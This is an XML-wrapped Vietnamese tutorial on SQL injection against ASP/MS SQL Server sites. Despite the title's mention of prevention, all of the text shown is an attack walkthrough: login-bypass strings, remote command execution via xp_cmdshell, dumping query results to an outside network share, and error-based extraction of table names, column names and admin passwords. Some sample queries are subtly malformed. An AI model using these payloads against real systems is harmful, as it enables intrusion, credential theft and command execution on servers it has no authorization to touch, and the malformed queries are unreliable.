﻿<?xml version="1.0" encoding="utf-8"?><Articles><Article><ArticlesID>532</ArticlesID><Title>Tấn c&amp;#244;ng kiểu SQL Injection v&amp;#224; c&amp;#225;c ph&amp;#242;ng chống trong ASP.NET</Title><Body>&amp;lt;p&amp;gt;1. SQL Injection l&amp;amp;agrave; g&amp;amp;igrave;?&amp;lt;br /&amp;gt;
SQL Injection l&amp;amp;agrave; một trong những kiểu hack web đang dần trở n&amp;amp;ecirc;n phổ biến hiện nay. Bằng c&amp;amp;aacute;ch inject c&amp;amp;aacute;c m&amp;amp;atilde; SQL query/command v&amp;amp;agrave;o input trước khi chuyển cho ứng dụng web xử l&amp;amp;iacute;, bạn c&amp;amp;oacute; thể login m&amp;amp;agrave; kh&amp;amp;ocirc;ng cần username v&amp;amp;agrave; password, remote execution, dump data v&amp;amp;agrave; lấy root của SQL server. C&amp;amp;ocirc;ng cụ d&amp;amp;ugrave;ng để tấn c&amp;amp;ocirc;ng l&amp;amp;agrave; một tr&amp;amp;igrave;nh duyệt web bất k&amp;amp;igrave;, chẳng hạn như Internet Explorer, Netscape, Lynx, ...&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
2. T&amp;amp;igrave;m kiếm mục ti&amp;amp;ecirc;u&amp;lt;br /&amp;gt;
C&amp;amp;oacute; thể t&amp;amp;igrave;m c&amp;amp;aacute;c trang web cho ph&amp;amp;eacute;p submit dữ liệu ở bất k&amp;amp;igrave; một tr&amp;amp;igrave;nh t&amp;amp;igrave;m kiếm n&amp;amp;agrave;o tr&amp;amp;ecirc;n mạng, chẳng hạn như c&amp;amp;aacute;c trang login, search, feedback, ...&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
V&amp;amp;iacute; dụ: &amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://yoursite.com/index.asp?id=10&amp;quot;&amp;gt;http://yoursite.com/index.asp?id=10&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Một số trang web chuyển tham số qua c&amp;amp;aacute;c field ẩn, phải xem m&amp;amp;atilde; HTML mới thấy r&amp;amp;otilde;. V&amp;amp;iacute; dụ như ở dưới.&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;amp;lt;FORM action=Search/search.asp method=post&amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;lt;input type=hidden name=A value=C&amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;lt;/FORM&amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
3. Kiểm tra chỗ yếu của trang web&amp;lt;br /&amp;gt;
Thử submit c&amp;amp;aacute;c field username, password hoặc field id, .. bằng hi' or 1=1--&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Login: hi' or 1=1-- &amp;lt;br /&amp;gt;
Password: hi' or 1=1-- &amp;lt;br /&amp;gt;
&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://yoursite.com/index.asp?id=hi&amp;quot;&amp;gt;http://yoursite.com/index.asp?id=hi&amp;lt;/a&amp;gt;' or 1=1--&amp;lt;br /&amp;gt;
Nếu site chuyển tham số qua field ẩn, h&amp;amp;atilde;y download source HTML, lưu tr&amp;amp;ecirc;n đĩa cứng v&amp;amp;agrave; thay đổi lại URL cho ph&amp;amp;ugrave; hợp. V&amp;amp;iacute; dụ:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;amp;lt;FORM action=http://yoursite.com/Search/search.asp method=post&amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;lt;input type=hidden name=A value=&amp;amp;quot;hi' or 1=1--&amp;amp;quot;&amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;lt;/FORM&amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Nếu th&amp;amp;agrave;nh c&amp;amp;ocirc;ng, th&amp;amp;igrave; c&amp;amp;oacute; thể login v&amp;amp;agrave;o m&amp;amp;agrave; kh&amp;amp;ocirc;ng cần phải biết username v&amp;amp;agrave; password&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
4. Tại sao ' or 1=1-- c&amp;amp;oacute; thể vượt qua phần kiểm tra đăng nhập?&amp;lt;br /&amp;gt;
Giả sử như c&amp;amp;oacute; một trang ASP li&amp;amp;ecirc;n kết đến một ASP trang kh&amp;amp;aacute;c với URL như sau:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://yoursite.com/index.asp?category=food&amp;quot;&amp;gt;http://yoursite.com/index.asp?category=food&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Trong URL tr&amp;amp;ecirc;n, biến 'category' được g&amp;amp;aacute;n gi&amp;amp;aacute; trị l&amp;amp;agrave; 'food'. M&amp;amp;atilde; ASP của trang n&amp;amp;agrave;y c&amp;amp;oacute; thể như sau (đ&amp;amp;acirc;y chỉ l&amp;amp;agrave; v&amp;amp;iacute; dụ th&amp;amp;ocirc;i):&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
v_cat = request(&amp;amp;quot;category&amp;amp;quot;)&amp;lt;br /&amp;gt;
sqlstr=&amp;amp;quot;SELECT * FROM product WHERE PCategory='&amp;amp;quot; &amp;amp;amp; v_cat &amp;amp;amp; &amp;amp;quot;'&amp;amp;quot;&amp;lt;br /&amp;gt;
set rs=conn.execute(sqlstr)&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
v_cat sẽ chứa gi&amp;amp;aacute; trị của biến request(&amp;amp;quot;category&amp;amp;quot;) l&amp;amp;agrave; 'food' v&amp;amp;agrave; c&amp;amp;acirc;u lệnh SQL tiếp theo sẽ l&amp;amp;agrave;:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
SELECT * FROM product WHERE PCategory='food'&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
D&amp;amp;ograve;ng query tr&amp;amp;ecirc;n sẽ trả về một tập resultset chứa một hoặc nhiều d&amp;amp;ograve;ng ph&amp;amp;ugrave; hợp với điều kiện WHERE PCategory='food'&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Nếu thay đổi URL tr&amp;amp;ecirc;n th&amp;amp;agrave;nh &amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://yoursite.com/index.asp?category=food&amp;quot;&amp;gt;http://yoursite.com/index.asp?category=food&amp;lt;/a&amp;gt;' or 1=1-- , biến v_cat sẽ chứa gi&amp;amp;aacute; trị &amp;amp;quot;food' or 1=1-- &amp;amp;quot; v&amp;amp;agrave; d&amp;amp;ograve;ng lệnh SQL query sẽ l&amp;amp;agrave;:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
SELECT * FROM product WHERE PCategory='food' or 1=1--'&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
D&amp;amp;ograve;ng query tr&amp;amp;ecirc;n sẽ select mọi thứ trong bảng product bất chấp gi&amp;amp;aacute; trị của trường PCategory c&amp;amp;oacute; bằng 'food' hay kh&amp;amp;ocirc;ng. Hai dấu gạch ngang (--) chỉ cho MS SQL server biết đ&amp;amp;atilde; hết d&amp;amp;ograve;ng query, mọi thứ c&amp;amp;ograve;n lại sau &amp;amp;quot;--&amp;amp;quot; sẽ bị bỏ qua. Đối với MySQL, h&amp;amp;atilde;y thay &amp;amp;quot;--&amp;amp;quot; th&amp;amp;agrave;nh &amp;amp;quot;#&amp;amp;quot;&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Ngo&amp;amp;agrave;i ra, cũng c&amp;amp;oacute; thể thử c&amp;amp;aacute;ch kh&amp;amp;aacute;c bằng c&amp;amp;aacute;ch submit ' or 'a'='a. D&amp;amp;ograve;ng SQL query b&amp;amp;acirc;y giờ sẽ l&amp;amp;agrave;:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
SELECT * FROM product WHERE PCategory='food' or 'a'='a'&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Một số loại dữ liệu kh&amp;amp;aacute;c m&amp;amp;agrave; cũng n&amp;amp;ecirc;n thử submit để biết xem trang web c&amp;amp;oacute; gặp lỗi hay kh&amp;amp;ocirc;ng:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
' or 1=1--&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;amp;quot; or 1=1--&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
or 1=1--&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
' or 'a'='a&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;amp;quot; or &amp;amp;quot;a&amp;amp;quot;=&amp;amp;quot;a&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
') or ('a'='a&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
5. Thi h&amp;amp;agrave;nh lệnh từ xa bằng SQL Injection&amp;lt;br /&amp;gt;
Nếu c&amp;amp;agrave;i đặt với chế độ mặc định m&amp;amp;agrave; kh&amp;amp;ocirc;ng c&amp;amp;oacute; điều chỉnh g&amp;amp;igrave;, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator tr&amp;amp;ecirc;n Windows. C&amp;amp;oacute; thể d&amp;amp;ugrave;ng store procedure xp_cmdshell trong CSDL master để thi h&amp;amp;agrave;nh lệnh từ xa:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
'; exec master..xp_cmdshell 'ping 10.10.1.2'--&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
H&amp;amp;atilde;y thử d&amp;amp;ugrave;ng dấu nh&amp;amp;aacute;y đ&amp;amp;ocirc;i (&amp;amp;quot;) nếu dấu nh&amp;amp;aacute;y đơn (') kh&amp;amp;ocirc;ng l&amp;amp;agrave;m việc.&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Dấu chấm phẩy (sẽ kết th&amp;amp;uacute;c d&amp;amp;ograve;ng SQL query hiện tại v&amp;amp;agrave; cho ph&amp;amp;eacute;p thi h&amp;amp;agrave;nh một SQL command mới. Để kiểm tra xem lệnh tr&amp;amp;ecirc;n c&amp;amp;oacute; được thi h&amp;amp;agrave;nh hay kh&amp;amp;ocirc;ng, c&amp;amp;oacute; thể listen c&amp;amp;aacute;c ICMP packet từ 10.10.1.2 bằng tcpdump như sau:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
#tcpdump icmp&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Nếu nhận được ping request từ 10.10.1.2 nghĩa l&amp;amp;agrave; lệnh đ&amp;amp;atilde; được thi h&amp;amp;agrave;nh.&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
6. Nhận output của SQL query&amp;lt;br /&amp;gt;
C&amp;amp;oacute; thể d&amp;amp;ugrave;ng sp_makewebtask để ghi c&amp;amp;aacute;c output của SQL query ra một file HTML&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
'; EXEC master..sp_makewebtask &amp;amp;quot;\\10.10.1.3\share\output.html&amp;amp;quot;, &amp;amp;quot;SELECT * FROM INFORMATION_SCHEMA.TABLES&amp;amp;quot;&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Ch&amp;amp;uacute; &amp;amp;yacute;: folder &amp;amp;quot;share&amp;amp;quot; phải được share cho Everyone trước.&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
7. Nhận dữ liệu qua 'database using ODBC error message'&amp;lt;br /&amp;gt;
C&amp;amp;aacute;c th&amp;amp;ocirc;ng b&amp;amp;aacute;o lỗi của MS SQL Server thường đưa cho bạn những th&amp;amp;ocirc;ng tin quan trọng. Lấy v&amp;amp;iacute; dụ ở tr&amp;amp;ecirc;n &amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://yoursite.com/index.asp?id=10&amp;quot;&amp;gt;http://yoursite.com/index.asp?id=10&amp;lt;/a&amp;gt;, b&amp;amp;acirc;y giờ ch&amp;amp;uacute;ng ta thử hợp nhất integer '10' với một string kh&amp;amp;aacute;c lấy từ CSDL:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://yoursite.com/index.asp?id=10&amp;quot;&amp;gt;http://yoursite.com/index.asp?id=10&amp;lt;/a&amp;gt; UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- &amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa th&amp;amp;ocirc;ng tin về tất cả c&amp;amp;aacute;c bảng (table) c&amp;amp;oacute; tr&amp;amp;ecirc;n server. Trường TABLE_NAME chứa t&amp;amp;ecirc;n của mỗi bảng trong CSDL. Ch&amp;amp;uacute;ng ta chọn n&amp;amp;oacute; bởi v&amp;amp;igrave; ch&amp;amp;uacute;ng ta biết rằng n&amp;amp;oacute; lu&amp;amp;ocirc;n tồn tại. Query của ch&amp;amp;uacute;ng ta l&amp;amp;agrave;:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
D&amp;amp;ograve;ng query n&amp;amp;agrave;y sẽ trả về t&amp;amp;ecirc;n của bảng đầu ti&amp;amp;ecirc;n trong CSDL&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Khi ch&amp;amp;uacute;ng ta kết hợp chuỗi n&amp;amp;agrave;y với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) th&amp;amp;agrave;nh một số integer. Điều n&amp;amp;agrave;y sẽ gặp lỗi nếu như kh&amp;amp;ocirc;ng chuyển được nvarchar sang int, server sẽ hiện th&amp;amp;ocirc;ng b&amp;amp;aacute;o lỗi sau:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. &amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
/index.asp, line 5&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Th&amp;amp;ocirc;ng b&amp;amp;aacute;o lỗi tr&amp;amp;ecirc;n cho biết gi&amp;amp;aacute; trị muốn chuyển sang integer nhưng kh&amp;amp;ocirc;ng được, &amp;amp;quot;table1&amp;amp;quot;. Đ&amp;amp;acirc;y cũng ch&amp;amp;iacute;nh l&amp;amp;agrave; t&amp;amp;ecirc;n của bảng đầu ti&amp;amp;ecirc;n trong CSDL m&amp;amp;agrave; ch&amp;amp;uacute;ng ta đang muốn c&amp;amp;oacute;.&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Để lấy t&amp;amp;ecirc;n của t&amp;amp;ecirc;n của bảng tiếp theo, c&amp;amp;oacute; thể d&amp;amp;ugrave;ng query sau:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://yoursite.com/index.asp?id=10&amp;quot;&amp;gt;http://yoursite.com/index.asp?id=10&amp;lt;/a&amp;gt; UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Cũng c&amp;amp;oacute; thể thử t&amp;amp;igrave;m dữ liệu bằng c&amp;amp;aacute;ch kh&amp;amp;aacute;c th&amp;amp;ocirc;ng qua statement LIKE của c&amp;amp;acirc;u lệnh SQL:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://yoursite.com/index.asp?id=10&amp;quot;&amp;gt;http://yoursite.com/index.asp?id=10&amp;lt;/a&amp;gt; UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Khi đ&amp;amp;oacute; th&amp;amp;ocirc;ng b&amp;amp;aacute;o lỗi của SQL Server c&amp;amp;oacute; thể l&amp;amp;agrave;:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. &amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
/index.asp, line 5&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Mẫu so s&amp;amp;aacute;nh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như thấy trong th&amp;amp;ocirc;ng b&amp;amp;aacute;o lỗi tr&amp;amp;ecirc;n, ch&amp;amp;uacute;ng ta c&amp;amp;oacute; thể x&amp;amp;aacute;c định được t&amp;amp;ecirc;n của một table quan trọng l&amp;amp;agrave; &amp;amp;quot;admin_login&amp;amp;quot;.&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
8. X&amp;amp;aacute;c định t&amp;amp;ecirc;n của c&amp;amp;aacute;c column trong table&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Table INFORMATION_SCHEMA.COLUMNS chứa t&amp;amp;ecirc;n của tất cả c&amp;amp;aacute;c column trong table. C&amp;amp;oacute; thể khai th&amp;amp;aacute;c như sau:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://yoursite.com/index.asp?id=10&amp;quot;&amp;gt;http://yoursite.com/index.asp?id=10&amp;lt;/a&amp;gt; UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Khi đ&amp;amp;oacute; th&amp;amp;ocirc;ng b&amp;amp;aacute;o lỗi của SQL Server c&amp;amp;oacute; thể như sau:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. &amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
/index.asp, line 5&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Như vậy t&amp;amp;ecirc;n của column đầu ti&amp;amp;ecirc;n l&amp;amp;agrave; &amp;amp;quot;login_id&amp;amp;quot;. Để lấy t&amp;amp;ecirc;n của c&amp;amp;aacute;c column tiếp theo, c&amp;amp;oacute; thể d&amp;amp;ugrave;ng mệnh đề logic NOT IN () như sau:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://yoursite.com/index.asp?id=10&amp;quot;&amp;gt;http://yoursite.com/index.asp?id=10&amp;lt;/a&amp;gt; UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Khi đ&amp;amp;oacute; th&amp;amp;ocirc;ng b&amp;amp;aacute;o lỗi của SQL Server c&amp;amp;oacute; thể như sau:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. &amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
/index.asp, line 5&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
L&amp;amp;agrave;m tương tự như tr&amp;amp;ecirc;n, c&amp;amp;oacute; thể lấy được t&amp;amp;ecirc;n của c&amp;amp;aacute;c column c&amp;amp;ograve;n lại như &amp;amp;quot;password&amp;amp;quot;, &amp;amp;quot;details&amp;amp;quot;. Khi đ&amp;amp;oacute; ta lấy t&amp;amp;ecirc;n của c&amp;amp;aacute;c column n&amp;amp;agrave;y qua c&amp;amp;aacute;c th&amp;amp;ocirc;ng b&amp;amp;aacute;o lỗi của SQL Server, như v&amp;amp;iacute; dụ sau:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://yoursite.com/index.asp?id=10&amp;quot;&amp;gt;http://yoursite.com/index.asp?id=10&amp;lt;/a&amp;gt; UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Khi đ&amp;amp;oacute; th&amp;amp;ocirc;ng b&amp;amp;aacute;o lỗi của SQL Server c&amp;amp;oacute; thể như sau:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' &amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. &amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
/index.asp, line 5&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
9. Thu thập c&amp;amp;aacute;c dữ liệu quan trọng&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Ch&amp;amp;uacute;ng ta đ&amp;amp;atilde; x&amp;amp;aacute;c định được c&amp;amp;aacute;c t&amp;amp;ecirc;n của c&amp;amp;aacute;c table v&amp;amp;agrave; column quan trọng. Ch&amp;amp;uacute;ng ta sẽ thu thập c&amp;amp;aacute;c th&amp;amp;ocirc;ng tin quan trọng từ c&amp;amp;aacute;c table v&amp;amp;agrave; column n&amp;amp;agrave;y.&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
C&amp;amp;oacute; thể lấy login_name đầu ti&amp;amp;ecirc;n trong table &amp;amp;quot;admin_login&amp;amp;quot; như sau:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://yoursite.com/index.asp?id=10&amp;quot;&amp;gt;http://yoursite.com/index.asp?id=10&amp;lt;/a&amp;gt; UNION SELECT TOP 1 login_name FROM admin_login--&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Khi đ&amp;amp;oacute; th&amp;amp;ocirc;ng b&amp;amp;aacute;o lỗi của SQL Server c&amp;amp;oacute; thể như sau:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. &amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
/index.asp, line 5&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Dễ d&amp;amp;agrave;ng nhận ra được admin user đầu ti&amp;amp;ecirc;n c&amp;amp;oacute; login_name l&amp;amp;agrave; &amp;amp;quot;neo&amp;amp;quot;. H&amp;amp;atilde;y thử lấy password của &amp;amp;quot;neo&amp;amp;quot; như sau:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://yoursite.com/index.asp?id=10&amp;quot;&amp;gt;http://yoursite.com/index.asp?id=10&amp;lt;/a&amp;gt; UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Khi đ&amp;amp;oacute; th&amp;amp;ocirc;ng b&amp;amp;aacute;o lỗi của SQL Server c&amp;amp;oacute; thể như sau:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. &amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
/index.asp, line 5&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
V&amp;amp;agrave; b&amp;amp;acirc;y giờ l&amp;amp;agrave; đ&amp;amp;atilde; c&amp;amp;oacute; thể login v&amp;amp;agrave;o với username l&amp;amp;agrave; &amp;amp;quot;neo&amp;amp;quot; v&amp;amp;agrave; password l&amp;amp;agrave; &amp;amp;quot;m4trix&amp;amp;quot;.&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
10. Nhận c&amp;amp;aacute;c numeric string&amp;lt;br /&amp;gt;
C&amp;amp;oacute; một hạn chế nhỏ đối với phương ph&amp;amp;aacute;p tr&amp;amp;ecirc;n. Ch&amp;amp;uacute;ng ta kh&amp;amp;ocirc;ng thể nhận được c&amp;amp;aacute;c error message nếu server c&amp;amp;oacute; thể chuyển text đ&amp;amp;uacute;ng ở dạng số (text chỉ chứa c&amp;amp;aacute;c k&amp;amp;iacute; tự số từ 0 đến 9). Giả sử như password của &amp;amp;quot;trinity&amp;amp;quot; l&amp;amp;agrave; &amp;amp;quot;31173&amp;amp;quot;. Vậy nếu ta thi h&amp;amp;agrave;nh lệnh sau:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://yoursite.com/index.asp?id=10&amp;quot;&amp;gt;http://yoursite.com/index.asp?id=10&amp;lt;/a&amp;gt; UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Th&amp;amp;igrave; khi đ&amp;amp;oacute; chỉ nhận được th&amp;amp;ocirc;ng b&amp;amp;aacute;o lỗi &amp;amp;quot;Page Not Found&amp;amp;quot;. L&amp;amp;yacute; do bởi v&amp;amp;igrave; server c&amp;amp;oacute; thể chuyển passoword &amp;amp;quot;31173&amp;amp;quot; sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề n&amp;amp;agrave;y, ch&amp;amp;uacute;ng ta c&amp;amp;oacute; thể th&amp;amp;ecirc;m một v&amp;amp;agrave;i k&amp;amp;iacute; tự alphabet v&amp;amp;agrave;o numeric string n&amp;amp;agrave;y để l&amp;amp;agrave;m thất bại sự chuyển đổi từ text sang số của server. D&amp;amp;ograve;ng query mới như sau:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;a target=&amp;quot;_blank&amp;quot; href=&amp;quot;http://yoursite.com/index.asp?id=10&amp;quot;&amp;gt;http://yoursite.com/index.asp?id=10&amp;lt;/a&amp;gt; UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Ch&amp;amp;uacute;ng ta d&amp;amp;ugrave;ng dấu cộng (+) để nối th&amp;amp;ecirc;m text v&amp;amp;agrave;o password (ASCII code của '+' l&amp;amp;agrave; 0x2b). Ch&amp;amp;uacute;ng ta th&amp;amp;ecirc;m chuỗi '(space)morpheus' v&amp;amp;agrave;o cuối password để tạo ra một string mới kh&amp;amp;ocirc;ng phải numeric string l&amp;amp;agrave; '31173 morpheus'. Khi h&amp;amp;agrave;m convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ ph&amp;amp;aacute;t lỗi ODBC error message sau:&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. &amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
/index.asp, line 5&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
